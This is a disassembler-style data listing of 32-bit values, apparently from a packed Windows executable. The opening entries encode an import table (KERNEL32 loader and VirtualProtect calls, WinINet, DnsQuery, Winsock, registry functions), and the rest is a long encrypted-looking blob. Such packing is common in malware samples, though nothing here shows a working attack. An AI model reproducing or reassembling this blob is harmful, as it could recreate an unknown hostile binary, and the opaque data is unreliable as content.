		dd 38113h, 38044h, 38058h, 71AB615Ah, 0
		dd 38129h, 38058h, 3806Ch, 7E41BD76h, 0
		dd 38134h, 3806Ch, 38080h, 77DD6BF0h, 0
		dd 3814Ch, 38080h, 5 dup(0)
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 74654700h, 75646F4Dh
		dd 6148656Ch, 656C646Eh, 65470041h, 6F725074h, 64644163h
		dd 73736572h, 72695600h, 6C617574h, 6F6C6C41h, 69560063h
		dd 61757472h, 6572466Ch, 69560065h, 61757472h, 6F72506Ch
		dd 74636574h, 4E495700h, 54454E49h, 6C6C642Eh, 746E4900h
		dd 656E7265h, 65704F74h, 4400416Eh, 5041534Eh, 6C642E49h
		dd 6E44006Ch, 65755173h, 415F7972h, 32535700h, 2E32335Fh
		dd 6C6C64h, 52455355h, 642E3233h, 47006C6Ch, 75437465h
		dd 726F7372h, 736F50h, 41564441h, 32334950h, 6C6C642Eh
		dd 67655200h, 736F6C43h, 79654B65h, 0
		dd 8E962600h, 0BC180000h, 9E4B34BAh, 83C404B9h,	0E21003C9h
		dd 11726ADFh, 482DE040h, 6D5CB5B3h, 6792A8DEh, 0D23E65C0h
		dd 0F923315Ah, 0D879C3F2h, 0D9887FC1h, 2C098828h, 0DB3992C0h
		dd 90253F6Ah, 0A9787B5Eh, 7EF66BE9h, 0F3977F67h, 0E008D2E1h
		dd 8D2E257Dh, 0D29AA7DBh, 68FD3CAAh, 838585F9h,	4BC8CD9Ch
		dd 0B725E0h, 0FF39CCA0h, 0B205D4Ah, 0CE406234h,	0A68332DCh
		dd 57594121h, 3AEE11Bh,	50B9A09Dh, 0C8869026h, 0F8F2E7EAh
		dd 355F10EEh, 0A731E2A9h, 80B34CB0h, 0B1B18B49h, 4666C93Dh
		dd 1E26023Bh, 17C6341Ah, 600E2E8h, 5839A380h, 6434906Bh
		dd 0BE55BC32h, 74978EC6h, 96A16430h, 0F8D71117h, 81B67BA1h
		dd 48213C24h, 0CA83F0E2h, 7B0C0227h, 0DCE6A8A1h, 0A2C4BA46h
		dd 3F137E2Bh, 9FB59C3Eh, 0FEA2731Bh, 5E4ABF40h,	0E8CA91F4h
		dd 0CB485880h, 6B25BF8Fh, 2C7B31EAh, 1F8B5F9Ah,	8EA6F7B0h
		dd 0C5C2AAF0h, 1C7BD42Dh, 1DC724F1h, 94C8944Eh,	6C3FA044h
		dd 0ABE6389Ch, 8361FF3Fh, 80000050h, 0F83D0002h, 57000000h
		dd 640FC9Fh, 0C79E534h,	0C441A4C1h, 0DBE0158Ah,	0AD0C4220h
		dd 0F1A4DA8h, 0D8B95382h, 72AFF552h, 0EC313BD7h, 0A6FC6247h
		dd 0CB98AB7Eh, 0C5E8FD86h, 91B144DBh, 0F4318DCAh, 0A052D8E4h
		dd 9F2C18A7h, 9E0A06FEh, 2C585DA5h, 25A3B98Bh, 740BA3EEh
		dd 3CBA1C58h, 71CB9B24h, 3AEB3DBEh, 4CDB139Ch, 0F53139E8h
		dd 9A76D5D8h, 8CBB9489h, 45D882A7h, 7B3CDFE3h, 7347C49Fh
		dd 43268A33h, 0C232809Ah, 49F25603h, 41B95CCCh,	0BBE26F60h
		dd 0BC222E52h, 142E4CCEh, 0A74F1D22h, 537BE748h, 0D6BE1D68h
		dd 83D47D02h, 9BE6E1A0h, 54602C1h, 0CFDF89A2h, 82DAE1A9h
		dd 0E94EA34Ah, 0DFFFCB6Bh, 8E3CAB6Ch, 693469A1h, 34A1BE5Dh
		dd 0D6086651h, 0E529B8E0h, 8825EB1Ah, 64B847A2h, 9A58C6h
		dd 5624D837h, 0B5EC087h, 44CB1516h, 2B5AECC6h, 0A14F42F4h
		dd 0AD1028E2h, 46E9127Fh, 85AC7EBCh, 4BDBA16Ah,	0E06D687h
		dd 0D2D9E761h, 6ED701C2h, 0AB242C92h, 1AE223D2h, 1A820EEBh
		dd 7BF50F24h, 59D62B7Fh, 7CFF023Fh, 0C38C1FEh, 80DE4C89h
		dd 0B4B8E3C5h, 5CC9871Fh, 7A5A039h, 0F358A597h,	24D8FD56h
		dd 9E7C4DA9h, 7297174h,	74BEAE2Eh, 0C2794936h, 88A64D8Bh
		dd 2BB4DDF3h, 997036DBh, 0D8A2E926h, 0FB0229A3h, 5437C69Ah
		dd 0F5C3A9D5h, 0B7796C02h, 7333F766h, 0A59BBFDDh, 0AA81A112h
		dd 0FE7AB081h, 6E9051DEh, 747DDF76h, 5B32D03Bh,	0CA1EAE35h
		dd 0DC8DC18h, 0D89C9EC6h, 20917F3Dh, 1482F959h,	0DBFE0ED0h
		dd 0FCC3526Ah, 18FD47F0h, 77A8D4h, 9AAD6CF9h, 3F628832h
		dd 0F657AC40h, 82162217h, 92E72FD0h, 9024E42Ch,	0FAA37AF0h
		dd 0CB88EF5Ch, 0B174AB25h, 8BFFD038h, 15C88BC8h, 8AB4274h
		dd 82E47412h, 37A20BC1h, 0E74F53E5h, 0E272DABAh, 14FF83F6h
		dd 3315BC99h, 37FAB61Ah, 1D42DB71h, 5D61548Ch, 0B7A0A8FFh
		dd 507BCA37h, 0ABD39C73h, 1A685EB3h, 4151EF40h,	0F8B13909h
		dd 3B88BECCh, 0BB957791h, 8DF1B8A2h, 346877B3h,	4D196657h
		dd 1803B326h, 4DD42654h, 67D76A12h, 0CB6A7705h,	617473E8h
		dd 83F33523h, 744BC47Bh, 6CF8CD9Fh, 591B0ED1h, 9D1CEA96h
		dd 0B261D1A9h, 0FEDC798Dh, 74CEEDE7h, 18766DC4h, 0AB3E5E1Ah
		dd 0C2BF861Ah, 7C3360F3h, 533395BCh, 0C645D04h,	82E8EF7Eh
		dd 18857C21h, 615DB98Ch, 9A2E357h, 0E3F3C5CEh, 13225E14h
		dd 0D217B9AEh, 711D6037h, 0FA52126h, 2B8175F0h,	0FF5035F7h
		dd 0E8E29BE6h, 7C7FE5CBh, 0F77B0C4Ah, 7DAA7FA6h, 0C851404Fh
		dd 1287FA25h, 0C4B04ABEh, 5FEA35D1h, 3917997h, 0CF4B45F6h
		dd 6FED2C53h, 0F8E4BF72h, 0CC21F1F7h, 1B76F17h,	0FAA669E1h
		dd 189AD9EDh, 0A800BA3Fh, 19D45E36h, 168C0A52h,	0F1244488h
		dd 3952D650h, 0EAEA7713h, 0EB54693Eh, 732CB306h, 4295D4B0h
		dd 143D2D9Eh, 0E45981B3h, 0BD7088BFh, 7B95D97Dh, 1878F466h
		dd 9F449012h, 23F636D2h, 17D183A9h, 0EDB23C2Eh,	0A7267877h
		dd 42FD4B78h, 0A0118471h, 8EAFED0Eh, 0A357864Ch, 2A831786h
		dd 0BF13D477h, 129F6FFBh, 65ECE241h, 0DAF8E667h, 5AA0CCFFh
		dd 3A49AEBh, 0E587611Dh, 0D2D3EF36h, 287DB87h, 644CF13Bh
		dd 83D7F6B9h, 0A214E2BEh, 6B6D446Eh, 0B0D14FBDh, 7DC296DFh
		dd 0C7E58401h, 0C8A13EBCh, 1BBDC28Fh, 0C2F79AF5h, 0B191302Ah
		dd 0F3F8029Ch, 45EA40D1h, 0BF3CA961h, 0DCBEA8C7h, 0E66E807Dh
		dd 0CBD735B3h, 6DC7F7EFh, 8D77F5BAh, 0E54A7897h, 560C3A24h
		dd 60DD1D72h, 1AD1D7CCh, 0A1D59457h, 19FAF5AEh,	296AD579h
		dd 0A3CB64E3h, 0A82A746Eh, 4AC241EEh, 0D308C894h, 161CBF18h
		dd 0D9AC403Dh, 0E87F7263h, 97782DDEh, 5867C65Fh, 3C1FDBC9h
		dd 0F57E8F45h, 0E32652E6h, 3955D536h, 0C2E71FBFh, 38B5781Bh
		dd 0C06A9E52h, 0FA03B502h, 5181F64h, 86A19B61h,	458F6F53h
		dd 81DE50A2h, 0FAB0843Bh, 9A9EDA32h, 6AC1995h, 551586EBh
		dd 5E2AB144h, 5642EA56h, 0D3C60E97h, 253B0C80h,	4E5F5211h
		dd 0B7E904B8h, 31DC5F4Ch, 0FA694545h, 6260AABDh, 466DB784h
		dd 0DC8F5537h, 0A33FB7BBh, 5586E6EEh, 4B86649Ch, 1D5CD881h
		dd 0F310932Ch, 43BDDC4h, 0BFE6BD9Ah, 5F67163Bh,	98EAF484h
		dd 240B02E2h, 359412A2h, 9982D441h, 76C7677Eh, 80501B6Eh
		dd 4AA7D325h, 0CE7789F9h, 0A2C2F0BAh, 2862AF92h, 51D57A65h
		dd 3D784C48h, 0CF147BB9h, 827A8953h, 8199A382h,	0F3FE4E0h
		dd 0C7456F00h, 7ACB082Eh, 3F517B17h, 325720CBh,	25451CFEh
		dd 52BC4D96h, 0B1EC7B67h, 757110D6h, 0DCFE1B9Ch, 4B074961h
		dd 2865C181h, 3058A799h, 0D9E0C030h, 90E945ADh,	0A40FEA6Bh
		dd 162C10F1h, 59307C39h, 55C36B82h, 53929DC5h, 0DF03830Ch
		dd 70517214h, 9A5E91B6h, 90866344h, 0CB53A440h,	0EABB1DDEh
		dd 0A4F980Dh, 20A0B74h,	0FA9D09Eh, 0DB498A13h, 0F5A79230h
		dd 66CCABD9h, 5B68A6F6h, 0A93DB4Bh, 0DDEBE36Eh,	99A5D9B4h
		dd 2D138CBAh, 0A320F402h, 0E04B37F8h, 796CF687h, 0B5353687h
		dd 0E2014A3Eh, 722FE106h, 840F1789h, 9B23FE11h,	22EEBB09h
		dd 9D5C423Bh, 0A3A586F8h, 0C8C94403h, 55C86248h, 343A0541h
		dd 0B6B2D16Dh, 83E3DEDFh, 17842023h, 0ECC7F8Eh,	52430E83h
		dd 7A85A61Ch, 0FA1354B6h, 0A807AB6Ah, 8ADB7333h, 0D2581C84h
		dd 6C050736h, 2FA72CDBh, 0EE87BACAh, 2EEBDDFFh,	0D3CEBE4Fh
		dd 0E031975Eh, 7DEF4FC0h, 5F3B7C3Dh, 13F9AAFAh,	0E58E5219h
		dd 0DF88F6FAh, 7A4BF879h, 0FCB74894h, 4EF7EB91h, 41D8C7D4h
		dd 1E36677Ch, 507B6BA8h, 4D751AF6h, 0DAEAF7FEh,	9138818Ah
		dd 89D08E52h, 6CCDD570h, 54A02A25h, 0EEF103AAh,	30D65717h
		dd 0FC200FEBh, 856BBB27h, 64977136h, 8C91925h, 680402EAh
		dd 0E0D1D72Eh, 8DD8C2A7h, 0EBE6F397h, 67CA9792h, 0D847B21Eh
		dd 391DC1ADh, 17CE634Ch, 5D95297Bh, 23C37C47h, 6E07C4DEh
		dd 15D622FEh, 0AE6B1C39h, 0E28B70C3h, 0BBACBC8Ah, 4D29E2C1h
		dd 40681BD2h, 26DEB3F3h, 66CF20Eh, 15797E0Fh, 3BE63B90h
		dd 60596C60h, 9D5495C2h, 70258EABh, 789505Fh, 5AA1C04Ch
		dd 0B32AECA2h, 4460C232h, 0AF3B2767h, 0DF933AB0h, 5754FD78h
		dd 0C5EE46ADh, 174E993Eh, 0BB26333Ah, 0E1123E5h, 3CC9D86Dh
		dd 91776F1Bh, 1BBD026Bh, 4C3906B2h, 2DBC0E55h, 0C88FD53h
		dd 872A834Dh, 2BCD7D6Fh
		dd 0BC210025h, 0A2E865B0h, 535977D3h, 1FB5379Ch, 1425D231h
		dd 1C4D8E0Fh, 3EC1C17Dh, 6ADE48ADh, 3350C3E7h, 5B767AEBh
		dd 2486F1Dh, 889D3BCBh,	64F60648h, 8DA67AF7h, 0EEE8BC85h
		dd 73BC1733h, 8A69E30h,	6DB9EF36h, 0D309E699h, 43F8DB84h
		dd 0CF806754h, 0A182EA42h, 53E0DB3Ah, 7EFDA86Dh, 22417E48h
		dd 11C98ADBh, 0B9C5F61h, 0E1591409h, 1BEAC4FEh,	6B7ED7A0h
		dd 0BD27B6BCh, 0E734474Ch, 0C72C647Ch, 5273BDDEh, 9545DA2Ch
		dd 768DFB17h, 0A61269h,	2FC71B92h, 0FF56334Eh, 8375AB99h
		dd 75594CB5h, 0F3FDC185h, 0B33ECB7Fh, 5737E6B2h, 125A7F8h
		dd 8B13F95Eh, 0E11B6627h, 1E602569h, 7F5537E1h,	3687BBC3h
		dd 642F3CF7h, 0FB97D716h, 245B429Ch, 0AF3CD60h,	67D70408h
		dd 27F4CA40h, 0A83645C2h, 0E5F67EE4h, 0FC8F01E5h, 1D2EDEC4h
		dd 0C700C90Bh, 9A5A2800h, 5A83372Fh, 0A8B6A7F9h, 0A48D6DE7h
		dd 8E5856CDh, 359786BFh, 0AD8B2615h, 0FB19642Dh, 315A6A0Ah
		dd 1982EF7h, 372B6D15h,	853A353Ah, 30D9AF02h, 0B4D5909Bh
		dd 3094AB03h, 1641EAF5h, 2EAC739Fh, 0FA4BDEABh,	827FCD23h
		dd 0D5334734h, 827847CFh, 0F35615C3h, 28228668h, 626B5FA0h
		dd 0B4EEC7B0h, 0E1DFEB11h, 9FA7F2B9h, 0A22027E8h, 8B23CC09h
		dd 0D0A7801h, 7DAAFC1Bh, 0BB4936D5h, 0D1F30AA7h, 0C860CC3h
		dd 55158E2Fh, 6440A09Ch, 0C4BC4285h, 0CCCC1AA0h, 6CC05D6Bh
		dd 0DF65C686h, 0E97DEE5Ch, 65F51EF6h, 891BE86h,	251AAAD7h
		dd 5EB6450Ah, 682C2E5Bh, 97849EF5h, 0EFD7994Bh,	0C96A4443h
		dd 0B070530Ch, 649FD529h, 3A8DCFA9h, 986591C3h,	0DB454B5Dh
		dd 21376288h, 0F11B24E5h, 8CC15BCDh, 6BB4DD73h,	0F3643700h
		dd 0A4A481F4h, 0F8197379h, 0F8A85488h, 1EDAB6F2h, 9BDE24D8h
		dd 3B9C00A4h, 0C69F7159h, 50980698h, 492E00C1h,	30E31FF6h
		dd 2B31EA89h, 3AE03C5h,	1F9E67BCh, 0EADAA5EDh, 0AB2D7465h
		dd 0C1BA4148h, 2FD9CA8h, 0EA7D9900h, 375554B0h,	5E7342EEh
		dd 7EDBEC8Eh, 0A245AB14h, 2B6DD43Fh, 0A4A16323h, 3E5DFE7Ch
		dd 76903DBDh, 0BC29B383h, 6FA460A8h, 9EDACB46h,	883A5802h
		dd 33765C78h, 78A01FB6h, 7ABEDC35h, 0E9B33A97h,	53CE8A5Ah
		dd 0EA2A5360h, 18CDB24Bh, 929F4DB2h, 9887563Ah,	5EAC43CAh
		dd 0E85FDBA9h, 9C98064Fh, 7EF40BC9h, 0DACFAA32h, 0A42B4561h
		dd 26D4609Eh, 330D58F5h, 0DBE51211h, 884206C9h,	0B36951Ah
		dd 0CBA50C02h, 0AEE9D99Dh, 0D3A09544h, 7CE95005h, 40759CB0h
		dd 5C128A81h, 0A3A45C28h, 0DBFFBCCCh, 89CE8C36h, 0F7151547h
		dd 9345A17Ch, 915771EDh, 1894EBDDh, 334BBA04h, 0DC6B6AE9h
		dd 7D560480h, 0A03F3A8Dh, 460C9DF5h, 0EE643920h, 8C28B8F6h
		dd 5925BD24h, 0A712F582h, 0AEE5D0CBh, 45071F41h, 97EB7DDh
		dd 0D46CF9BDh, 7427DAAAh, 3A990BEDh, 786E2A56h,	0B3D19ABDh
		dd 2A69C92Ch, 7CD2DD70h, 29DCCA4h, 54FF4C1Ah, 34CBCEC3h
		dd 80553720h, 2D99AC2Fh, 4F18A56Ch, 92C0D72Bh, 41F49BBDh
		dd 66248ECBh, 0C6B84E51h, 9D41F9F4h, 0B8EC151Ch, 486DBEC6h
		dd 0C0AECCFFh, 0BF23CCC1h, 0D5C75FFCh, 880CFC61h, 3DEAFA0Eh
		dd 0C61C8DEBh, 8CA55C05h, 0B822B1D3h, 0C4620EBh, 0CAD4CB62h
		dd 274282F9h, 4B17A009h, 0BAC160D5h, 39E5F371h,	8FA41FFFh
		dd 2495A9Dh, 4583BE61h,	72111F52h, 3105F14Ah, 0ADCA8573h
		dd 0B193EEE9h, 0EDFB9450h, 9624E01Dh, 17B75ADEh, 77694899h
		dd 0AD9B3458h, 1555807Dh, 0B37DC7E6h, 57C9C3CCh, 4CDD4179h
		dd 0DFA9AFF1h, 0CA755B78h, 2C328F9Bh, 6726B19Eh, 3AE6D502h
		dd 15DE786Ch, 7922A7DDh, 6EE38F88h, 0EB4FD89Dh,	5327FBC7h
		dd 0FD8CBD2Fh, 0ACC3F135h, 16AEB01Ch, 5BB74176h, 56ECD4BCh
		dd 0A966688Bh, 98E1ECD4h, 0D4E3336Ah, 0BF71048h, 857C3E5Ch
		dd 0CC08E12Fh, 70AD15D5h, 0D1488E77h, 0A7D16927h, 1C1543Dh
		dd 1B49E6Dh, 2109E27Ch,	90900522h, 0C5EBA272h, 4D2104DDh
		dd 36BEA6E6h, 30EA9112h, 0AFEB4415h, 0C744CFE7h, 91078951h
		dd 710D1BA9h, 403E9236h, 0F001FF43h, 0B8BEEF78h, 0AFDE4247h
		dd 93F7F635h, 671326FBh, 86016BF6h, 0AD1A08D5h,	0BECEFC08h
		dd 392E6BE5h, 368D2666h, 149BA70h, 53C44C75h, 2692398Fh
		dd 0ACC5066Fh, 2D8D3B6Ch, 3F8C8CD1h, 0BBA7372Dh, 678675Eh
		dd 0D1FDE251h, 82690FF3h, 0CBB5EB4Dh, 0A25EFD0h, 0A6E17FA7h
		dd 0CD003698h, 7CFAC6A1h, 1E0D1C32h, 771A11BBh,	9413A1BFh
		dd 4E0E467Eh, 3A5F43BFh, 315C3849h, 0AE7735F8h,	0AEB92586h
		dd 0A05D95D8h, 3F197CB3h, 0A0513A5Bh, 8441A3E5h, 0BC24E268h
		dd 57B58C67h, 0A02A6998h, 0EAB1767Fh, 3F2A2F21h, 0DB0C101Fh
		dd 84C733FFh, 581C9E0Dh, 422C5D39h, 5519DD3h, 4FA42334h
		dd 262B827Ah, 0CD24EF37h, 750FEB35h, 798D854Fh,	505B0CE1h
		dd 167A9099h, 587EC92Ch, 24120090h, 34BE259Bh, 13635500h
		dd 0DAC1C8B4h, 2E85035Fh, 0C3B7A063h, 0DF319571h, 0DAAD13F7h
		dd 154B900Dh, 0F6B0347Dh, 0D6E9AC36h, 7C1A1399h, 5CD35F44h
		dd 8717117Fh, 0C4D42D5Fh, 0BDF01C78h, 32701209h, 41B3A32Dh
		dd 4FD81993h, 8427CA86h, 0C8EAFED0h, 7ACC97FBh,	50DD27C8h
		dd 296BB1E0h, 152A0267h, 217B9189h, 75A31C95h, 6C32CCA8h
		dd 0A9808F81h, 0EE25EAFEh, 643B5660h, 0BD9D0A9Ah, 0E78353AFh
		dd 45CDA486h, 5F4FCE98h, 0EAE9497Ah, 0DBD4F34h,	9BB89A32h
		dd 439C13AEh, 13567C6Ch, 45605AADh, 0F03EFEA3h,	84A8AB48h
		dd 0FAF7651h, 116EF454h, 0C7924F71h, 0BC568335h, 13FD4DB1h
		dd 1C490525h, 767255BFh, 2E08DC92h, 53CEF395h, 0BD62BFB9h
		dd 759EEA51h, 0A408BD9h, 0DC3C718Bh, 92D3F6A0h,	0D7969FF9h
		dd 0B5AF7220h, 6F0642ACh, 8978674h, 823BCB4Ah, 3DB8EAC7h
		dd 88E89158h, 682B5008h, 0F637C999h, 80B617BDh,	128C7FDh
		dd 65B6E302h, 0CF3563D5h, 56746680h, 0CA7878DAh, 0DFACF8CBh
		dd 0C9333CAFh, 0E178FE51h, 93D00B3Bh, 115E1E7Fh, 939BD0FDh
		dd 4B25414Dh, 0C474078Eh, 5A95ACE5h, 0EBC884C9h, 0F078FAF2h
		dd 0E24A1E00h, 7E7A37D8h, 0E31CBFCBh, 363785Fh,	1337D6E4h
		dd 6FBE8AF8h, 0EC4912A2h, 37A4ED2Fh, 65EDE9EDh,	86668829h
		dd 4399770h, 0CDBD901Dh, 0EFE0D12Eh, 1EB38089h,	7F8EB192h
		dd 0ED4E58AEh, 98A445E0h, 459BFDAAh, 40017941h,	0B5D87E7Ah
		dd 8CD1C39Eh, 0D8F93FF6h, 0DDF40E0Fh, 1280E289h, 0B79795Fh
		dd 0DBA7CF3Eh, 0EBA09068h, 0F0885CC3h, 1BEADC82h, 60F3B12Bh
		dd 0BCD18859h, 93DCEB31h, 0BC5A58Ch, 0DBF460B9h, 0C5A2BD54h
		dd 7167C85Fh, 84A20216h, 9F1313F2h, 0EBBEA7F7h,	0C79373B3h
		dd 1BDF8CCAh, 5766DB57h, 5A6822E6h, 44BBDA7Dh, 51F4FB67h
		dd 892A3C66h, 0F7BCD190h, 0F358DA3Fh, 0A3BBF893h, 882FFE14h
		dd 375288D4h, 0E9DE070Eh, 1188816Dh, 0DA585516h, 4CB564B2h
		dd 90B97EAh, 906104A1h,	2B224176h, 14ABF5B2h, 3EA780Bh
		dd 32091B88h, 2B10FCDAh, 0ADD5CF39h, 52999CFDh,	0DA8E856Ah
		dd 4E73ACFDh, 3B8DAF61h, 8DD8F57h, 0A784F785h, 1D5E66F0h
		dd 81AC5149h, 2D2CFF37h, 3E07253Eh, 0D5A88DA1h,	3EA9C4FCh
		dd 0FE40B116h, 9D216F56h, 14E01BB4h, 85FCD72Fh,	0A77E0E0Bh
		dd 440205F4h, 0D3F98AB3h, 6DE2DA53h, 64E85E33h,	25AB3BFBh
		dd 0E6459501h, 19FEEE57h, 36C382B9h, 0DB5106AEh, 1975773Dh
		dd 7B326FE4h, 82C778F3h
		dd 64C08A03h, 26F27989h, 156B2F1Ch, 1EBED55Bh, 0F18313ABh
		dd 0AE596820h, 7DA6E9Bh, 84309DD9h, 3FCF7F4Fh, 279EEB9h
		dd 0C1F915DEh, 0DD2FAE63h, 584BA3C0h, 0A9B18769h, 920BCEA1h
		dd 0EABB27E3h, 7205572Bh, 156B3009h, 0FC13F89Ah, 43403ED1h
		dd 43C27A90h, 61F9D312h, 5E78F26Dh, 9F2C20CBh, 0CF962AD1h
		dd 0ABAF3DA3h, 6B6B4A50h, 97FA8351h, 0F74BF096h, 0D30CDBE1h
		dd 0A622D073h, 0D900AD93h, 27DB6E15h, 1C626E4Dh, 0ECAF556h
		dd 0F58756F8h, 4F184DB5h, 554CA14Eh, 644791ACh,	678359B4h
		dd 71342B47h, 8C2A9DAh,	84BC467Eh, 2003DB17h, 93EFDDEDh
		dd 27373823h, 0B31E114Eh, 696B2FF4h, 8B2AA403h,	3409A92Ah
		dd 0F938F73Dh, 4CA500D9h, 22DD217h, 0AD2103A4h,	6A2BAAB6h
		dd 2E0DCD5Ch, 0C2E3FBC6h, 88AB1439h, 0FAA743F0h, 0EC053381h
		dd 4A46C0AAh, 19108C83h, 0C9E75225h, 4EB6CF80h,	14C6C74Dh
		dd 0E83DF56Eh, 0F60812FBh, 51E143F0h, 86D1CB06h, 0C2B36995h
		dd 8216FE99h, 0EF9BA197h, 0E94EF960h, 89F44696h, 0EBC257A9h
		dd 0BB156FFBh, 0E9D7EC9Ah, 18F4AB70h, 1536F541h, 0F9A646D9h
		dd 0E7819F67h, 12D71DBDh, 94A4E5ACh, 0DA690916h, 1D26E914h
		dd 4059D284h, 0DFD80105h, 2CBA4BCCh, 0B3D689FCh, 87A41138h
		dd 857EC261h, 0A0298A01h, 93AF6B0Eh, 0AA00F4EDh, 96368AC5h
		dd 0C8FBD001h, 48479B5Dh, 0B0652F49h, 0DE9AE658h, 91B3BE0Dh
		dd 2B8038CEh, 4AFBDEBFh, 0D83097Ch, 0CE8BC823h,	0BBD8C5EBh
		dd 1C2738Ch, 310F536Bh,	0BC73E372h, 7CA50159h, 34395DCEh
		dd 92888D57h, 67C2FB48h, 66F1007Fh, 0C655F3B9h,	0C0034AB8h
		dd 0AF4FA1E9h, 0BE322D99h, 0F2F37BBDh, 692A5E7h, 3ECCBFF7h
		dd 0D12B14ACh, 713721ADh, 75C396ADh, 0ADF4CA21h, 7C4BB20Ah
		dd 2F55ACDBh, 0D54D68AAh, 0BE16CFDDh, 0CA8520BEh, 0C8C67703h
		dd 0A3265279h, 0DAAD670Dh, 0A5FF4BB1h, 474EC566h, 4CE25249h
		dd 92259488h, 6280021Ch, 58B798E7h, 0D92FACBFh,	3CCBD5D9h
		dd 1B204CD3h, 0F1D28E4Dh, 0CA1F6F5Ah, 5843B99Fh, 0EDD7E45h
		dd 90133155h, 32596B2Bh, 0E5FC566Bh, 0A1695AF5h, 90D00977h
		dd 0C3B5EB52h, 7F99046Dh, 55B4A3Dh, 0BC62688Eh,	1F4156A8h
		dd 0B14DBC35h, 937D8684h, 0ED88ED83h, 921F8625h, 3823C6A9h
		dd 61C3CFB2h, 5E570B92h, 0D9AC62D0h, 9202B000h,	6BD72E1Dh
		dd 34F7309Ah, 5CD2DE3h,	0A0A7AAFAh, 663080B7h, 0C32BCB76h
		dd 90ED436Fh, 7029FA72h, 75E7F8B0h, 715351D8h, 871F7D04h
		dd 0A9AEFCFEh, 7F7878B4h, 28B380CAh, 557FCF27h,	651DACFBh
		dd 93C20466h, 0B18BAB52h, 5862579h, 6C00C0DEh, 0ACBAD14Bh
		dd 7F245F07h, 0C042CBA6h, 46E0D04Dh, 75EDE8A6h,	4E77219Eh
		dd 7513659h, 6BEE8C91h,	0D37CC71Fh, 4897671Bh, 3143BF40h
		dd 3A07955Fh, 5DE7063Eh, 35666552h, 14AA4D59h, 6CFF36FFh
		dd 65EE33Dh, 231128D2h,	4F2BD9C0h, 763E0098h, 7CD12F88h
		dd 89BCD274h, 90DA8E67h, 92E88F07h, 0EA88D25Ah,	1AEED427h
		dd 0A80C75ACh, 2CFB49F0h, 39A9DF36h, 8943241Eh,	0AECC45BCh
		dd 0B3D11A16h, 4D4C0A3Dh, 0F90EC926h, 0E054560Eh, 7647ED9Eh
		dd 0D0E5BA40h, 47AC9137h, 7F4F187h, 63BAFEDAh, 337D67D1h
		dd 8FD18D0Ah, 76D31D53h, 50597787h, 0A535985Bh,	0FD3FDE5Ah
		dd 183ADD37h, 0B33F4D7Ah, 1658A879h, 37438EF4h,	0BEB87D25h
		dd 76DDC3DAh, 2134818Bh, 0F62678C6h, 0A2295BEAh, 7000CEB3h
		dd 2B2B599Fh, 0D052FBFEh, 8CF40F9h, 0F950645Ah,	0C5B4DB6Fh
		dd 7B588E41h, 59CAD8ADh, 0A0AE664Eh, 488D31BAh,	954CBEE7h
		dd 7D125F88h, 1269BF2Bh, 2C5F0FFFh, 5D84A812h, 3C3DD183h
		dd 0E2F851A3h, 37A78350h, 0E52AC256h, 69ADA98Ch, 8A5302A7h
		dd 0C04A8125h, 3A83A92Ah, 37E3B2E9h, 9928D169h,	417C29DCh
		dd 0D3041AA9h, 26B93F4Ah, 0F09B5386h, 0A2F16457h, 45CB4BA7h
		dd 89C051D7h, 1BA97A6Bh, 48ACBD30h, 6E35957Fh, 0E4DE13A4h
		dd 17A4E22h, 490C6A21h,	217146B0h, 0AB57E388h, 0F978CA27h
		dd 6E4122A5h, 0C9B0E1B7h, 0E85BE941h, 0BEF3245Fh, 54BF0E26h
		dd 318B4DFAh, 1DD1853Eh, 0F7027A71h, 0A8736D07h, 0FEA6E4F5h
		dd 62DB938Ah, 8E439D86h, 763F2098h, 914A81F2h, 165078E1h
		dd 0EA646E92h, 55C1DCDFh, 5E3499EDh, 0C6CE9ED0h, 636F6B30h
		dd 9B933631h, 6CEB159Ah, 411D8896h, 9DEE0AC5h, 0B6F71009h
		dd 4E51E0B6h, 64E52B27h, 61243654h, 2BE944F9h, 87480B1Ah
		dd 0A20BF3E2h, 10FA072Ch, 10D1446Bh, 1465D729h,	87CBB5ACh
		dd 2C28D3EBh, 0F9A42CC5h, 0E9062BD5h, 0C9485989h, 0EB9B40C3h
		dd 5FC176EBh, 3930F731h, 2983E3A8h, 50502F22h, 0B57B4BA4h
		dd 0BDBC41EFh, 0B16BB1DCh, 2C3BFF73h, 0E9290B31h, 9B9D70A1h
		dd 0D486DF53h, 947D5A99h, 3E9D3E8Dh, 4463427Ah,	960EB77Bh
		dd 0A7039BBh, 0D09B5FE4h, 54AFCB65h, 0A9B750AEh, 0E702B43Fh
		dd 0B3C5965Eh, 0D4642EA8h, 0C090D586h, 58A3D41h, 3BEBA1D5h
		dd 0BC070B9Ch, 0B25ACF73h, 71CE25B9h, 66ECD76h,	0D6A95EBEh
		dd 147FDB42h, 591725D3h, 2A2A7C67h, 0B065A66Eh,	2F790237h
		dd 524B828Fh, 701A9A86h, 0CCED3444h, 44986576h,	6F45EFEBh
		dd 0A6ED9DD5h, 7D2858D3h, 0C4A51FE0h, 4EF65C9Ch, 3C79C6DCh
		dd 3E81F263h, 0BEF787D4h, 2424A6C0h, 0AEB80326h, 4EE0CE0Dh
		dd 9273DC84h, 0C8CA6272h, 0D7E8E759h, 0F117BBD1h, 624D958Ah
		dd 3AF95D90h, 97CFE5F1h, 0B35F134h, 0AFB83869h,	34656BB4h
		dd 3E67086Bh, 0E92D190Bh, 0A5033D13h, 0FEDF9A3Ah, 0DD4E4FADh
		dd 0B0A8BBC4h, 3AB11D1Ch, 0A3CCB51Fh, 890EA968h, 85D54593h
		dd 0BD881979h, 65BC64BBh, 28817E37h, 3203169Dh,	71236B4Eh
		dd 4CB4D930h, 0E9DD1D3h, 0D04C426Dh, 38E2EAAEh,	0B8E828F5h
		dd 299863E6h, 35DC1E6Fh, 98461080h, 4509A56Bh, 165D7553h
		dd 97DA0AF3h, 5806C6F6h, 22985F83h, 136733C9h, 42B59D60h
		dd 32F10491h, 0D36290B4h, 36AF3D10h, 6498D369h,	8E39174Ch
		dd 4A05BA35h, 0EFAE9E63h, 304B8CD5h, 4CDE8EB1h,	0F1684F52h
		dd 93C18F34h, 96B72E11h, 0C14E1BB6h, 4A7A2317h,	8F38A8Dh
		dd 0D8091446h, 3ABE34F7h, 80B3850h, 13CCD562h, 2033507Dh
		dd 5CB1A9FCh, 324E938Ch, 92075809h, 0B54240F7h,	1A4A504Ch
		dd 2E791D85h, 0AF99D2C0h, 81C3EC14h, 0B32C290Ch, 0D6A109Ah
		dd 0BCFD7EA6h, 0E643B7FEh, 0F6C30E90h, 5904C12Dh, 1ECE6DDAh
